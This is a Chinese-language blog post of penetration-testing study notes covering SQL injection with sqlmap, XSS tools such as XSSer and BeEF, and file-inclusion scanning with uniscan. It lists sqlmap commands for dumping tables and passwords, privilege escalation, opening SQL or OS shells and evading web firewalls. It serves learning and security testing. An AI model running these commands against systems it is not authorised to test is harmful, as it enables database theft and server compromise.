【Kali 渗透测试】漏洞学习笔记

一、SQL 注入

web 应用或网站在处理用户输入时没有正确过滤和转义特殊字符,导致用户输入被当成 sql 语句执行。

1. sqlmap

自动发现和利用 web 应用中的数据库漏洞

基本功能

对 web 应用中的数据库进行自动化检测、利用和攻击。

  • 检测链接地址是否包含SQL注入漏洞
bash 复制代码
sqlmap -u "URL地址"
sqlmap -u "URL地址" --batch # 启用所有需要手动确认的功能
sqlmap -u "URL地址" --current-user --current-db --batch # 查看当前连接数据库的用户和数据库名
sqlmap -u "URL地址" --is-dba --batch # 判断当前用户是否是 dba 权限
sqlmap -u "URL地址" --privileges --batch # 列举当前用户权限
sqlmap -u "URL地址" --priv-esc--batch # 提权
sqlmap -u "URL地址" --users-batch # 列举所有用户
sqlmap -u "URL地址" --passwords --batch 
sqlmap -u "URL地址" --dbs --batch
sqlmap -u "URL地址" -D库名 --tables --batch
sqlmap -u "URL地址" -D库名 -T表名 --columns --batch
sqlmap -u "URL地址" -D库名 -T表名 -C指定列名,指定列名 --dump--batch

sqlmap 执行数据库交互

bash 复制代码
sqlmap -u "URL地址" --sql-query="查询语句" --batch
sqlmap -u "URL地址" --sql-shell --batch
sqlmap -u "URL地址" --os-cmd=系统命令 --batch
sqlmap -u "URL地址" --os-cmd=系统命令 --batch

POST请求类型的SQL注入

  • 方法一
bash 复制代码
sqlmap -u "URL地址" --data="POST的内容" --batch
sqlmap -u "http://x.x.x.x:8080/WebGoat/SqlInjection/assignment5b" --data="login_count=webgoat&userid=0" --batch --cookie="xxx"
  • 方法二

burp suit 拦截数据包,右键单击请求,save item,保存为文件

bash 复制代码
sqlmap -r 保存的文件 --batch
bash 复制代码
sqlmap -m 文件地址 # 批量检测

指定 sql 注入的方式

bash 复制代码
sqlmap -u "URL地址" --technique=E --batch
  • E 报错注入
  • B 基于布尔的盲注
  • U 联合查询
  • S 堆叠查询
  • T 基于时间的盲注
  • Q 仅仅使用内联查询

sqlmap 脚本

借助 sqlmap 脚本绕过 waf 的检测

bash 复制代码
sqlmap -u "URL地址" --batch --tamper 脚本名

2. JSQL injection

基于 Java 的轻量级 sql 注入引用

bash 复制代码
apt install jsql-injection

二、XSS

网站安全漏洞,攻击者可以利用其在网站中注入JS客户端代码

1. XSSer

bash 复制代码
apt install xsser
xsser -u "URL地址" -g '路径和参数'
xsser -u "URL地址" -c爬虫深度 --Cl URL地址

2. XSStrike

bash 复制代码
pip3 install xsstrike

3. BeEF

利用浏览器中的 xss 漏洞

三、文件包含漏洞

是一种代码注入漏洞,发生在使用了文件包含函数的位置

  • 本地文件包含:能够打开并包含本地文件的漏洞
  • 远程文件包含:能够打开并包含远程文件的漏洞

uniscan

文件包含漏洞扫描器

bash 复制代码
apt install uniscan
uniscan -u URL地址 -qweds

检测完在 /usr/share/uniscan/report 目录下生成扫描结果

相关推荐
爱学习的小牛3 天前
三年网络安全经验,备考OSCP!
安全·web安全·网络安全·渗透测试·offsec·oscp
世界尽头与你3 天前
TensorBoard 未授权访问漏洞
安全·网络安全·渗透测试
独行soc4 天前
2026年渗透测试面试题总结-10(题目+回答)
android·网络·python·安全·web安全·渗透测试·安全狮
独行soc5 天前
2026年渗透测试面试题总结-7(题目+回答)
java·网络·python·安全·web安全·渗透测试·安全狮
\xin6 天前
SQL 注入、文件上传绕过、MySQL UDF 提权、SUID 提权、Docker 逃逸,以及 APT 持久化技术渗透测试全流程第二次思路
sql·mysql·docker·容器·渗透测试·json·漏洞
世界尽头与你6 天前
CVE-2024-3366_ XXL-JOB 注入漏洞
安全·网络安全·渗透测试·xxl-job
是逍遥子没错6 天前
OA渗透测试的思维盲区:从漏洞猎人到系统拆解师
web安全·网络安全·黑客·渗透测试·系统安全·oa系统·src挖掘
世界尽头与你6 天前
Flask开启Debug模式
后端·网络安全·渗透测试·flask
是逍遥子没错6 天前
关于国内通用OA的渗透测试思路-仅供测试切勿违法使用
安全·web安全·网络安全·渗透测试·系统安全·漏洞挖掘